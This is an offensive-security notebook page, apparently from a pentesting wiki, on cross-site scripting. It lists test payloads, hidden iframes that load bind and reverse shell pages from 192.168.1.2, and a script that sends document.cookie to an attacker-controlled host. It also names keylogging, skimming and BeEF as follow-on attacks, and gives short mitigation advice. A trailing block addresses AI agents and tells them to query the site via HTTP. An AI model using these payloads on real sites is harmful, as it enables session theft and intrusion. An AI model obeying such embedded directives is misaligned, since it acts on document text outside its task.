# XSS > If injection attacks don't work then the next best thing to check are cross site attacks like XSS. \ > Here we are still trying to either inject malicious commands into the database or, reflect them off the server. But rather than SQL commands we are now after the browser itself; attempting to execute either new HTML to the page during a dynamic load from the DB (or reflected off a server script), or by JS from a client side load, or a bit of both with a DOM based XSS. If we are able to edit the site in these ways then we may be able to make malicious requests. If parameter input is displayed on the site somewhere then there is a chance XSS is possible. With clever use this can get us the desired extraction or foothold. {% hint style="info" %} XXS can get you creds, pii, hijack sessions, interface with plugins, perform keylogging, defacement, worm, or redirect a user to your maldropper. {% endhint %} ## Looking for XSS: * Any where we can add input and it gets written to the page is a good place to test. * Common characters to check for are `< > ' " { } ;` Check the source to see if it was output raw. * Typically test input params with visual edits like \ or \<h1> * Search boxes that show search query above results * Comment sections * Postings * Account modifications * Drop down menus and buttons #### Basics: 1\) Try to do things like `<h1>Test</h1>` and see if the html is loaded and interpreted. Then try things like `<script>alert('test');</script>` You can also try swapping in`document.cookie`. It can be helpful to view the page source after entering input to see how its being stored and possibly mangled if not working.\ 2\) If you can store the above XSS that will be best but you can still utilize reflected XSS by sending it as a link. \ \ **Common XSS tests:**\ \<plaintext>\ \<h1>hello\</h1>\ \<script>alert('XSS')\</script>\ \<body onload="alert('XSS')">\ expectedVal" onload="javascript:alert('XSS')"\ val"; onfocus=alert('XSS');"\ onload="alert(String.fromCharCode(88,83,83))" > If this👆 does not work we can try different encoding techniques. [Cura54 XSS Payloads](https://html5sec.org/) ### **iframe Shell (Stored or DOM):** {% tabs %} {% tab title="Bind Shell" %} ```markup  <iframe src=http://192.168.1.2/bshell4433.php height="0" width="0" frameborder="0" overflow:hidden></iframe>  ``` {% endtab %} {% tab title="Reverse Shell" %} ```markup  <iframe src=http://192.168.1.2/rshell4433.php height="0" width="0" frameborder="0" overflow:hidden></iframe> ``` {% endtab %} {% endtabs %} ### **Cookie stealing:** JS script SESSION/COOKIES STEALING:\ \&#xNAN;*`<script>new Image().src="http://192.168.1.2/cool.jpg?output"+document.cookie;</script>`*\ \ This works until the user logs out, closes the browser, timed session dies. Also note that the cookie must have the right flags (no httpOnly, secure(ssl)) and must be within the [SOP](/web-application-hacking/web-techniques/sop.md). {% hint style="danger" %} DOM XSS does not follow SOP rules. {% endhint %} {% hint style="info" %} For the cookie path variable if it does not end in a slash `path=/admin/ -> path=/admin` Then in this case the SOP would allow /admin-login /admin-portal etc. Much like unquoted windows paths it allows all extensions of "/admin\*". {% endhint %} Its important to know what (sub)domain the auth cookies are set to. Any XSS vuln that is to steal that cookie must be of the same (sub)domain and path if set in the cookie. For cookie steeling, only JS or VBscript within the SOP can read the cookie. Therefore attacker hosted cookie steeling scripts don't work. Also the cookie itself must not have the `httpOnly` flag set as this will not allow us to obtain it with JS. \ <br> ### **Whitebox XSS:** Find all the places where data is output to the screen and then trace it back to find where the data came from. If part of it was user input then we want to see if it can be modified to bypass any sanitation. Or if it comes from a DB we need to consider that things may have gotten into the DB unsanitized and may have an XSS vector. \ Look for things like: * document.body.innerHTML {% hint style="success" %} Even with limited payload sizes, it may be possible to use XSS to inject a link to an external JavaScript file, bypassing the size restriction. We have already mentioned redirects and client-side attacks. Other examples of XSS payloads include **keystroke loggers, phishing attacks, port scanning, and content scrapers/skimmers**. Kali Linux includes ***BeEF***, the Browser Exploitation Framework, that can leverage a simple XSS vulnerability to launch many different client-side attacks. {% endhint %} ## Mitigation: {% hint style="danger" %} The best thing a WebDev can do to prevent XSS attacks is to use anti-xss libraries for there web languages. It is also important to follow the guidelines in the libraries docs. Because some defenses of the library maybe broken if the developer implements them incorrectly.. for example using a GET rather than a POST to modify data. {% endhint %} #### Input validation Filter input as much as possible for the corresponding field.  #### Context-aware output encoding Ensure content rendering is done in line with language expectations and recommendations.  --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://www.hackbook.io/web-application-hacking/web-techniques/xss.md?ask=<question> ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.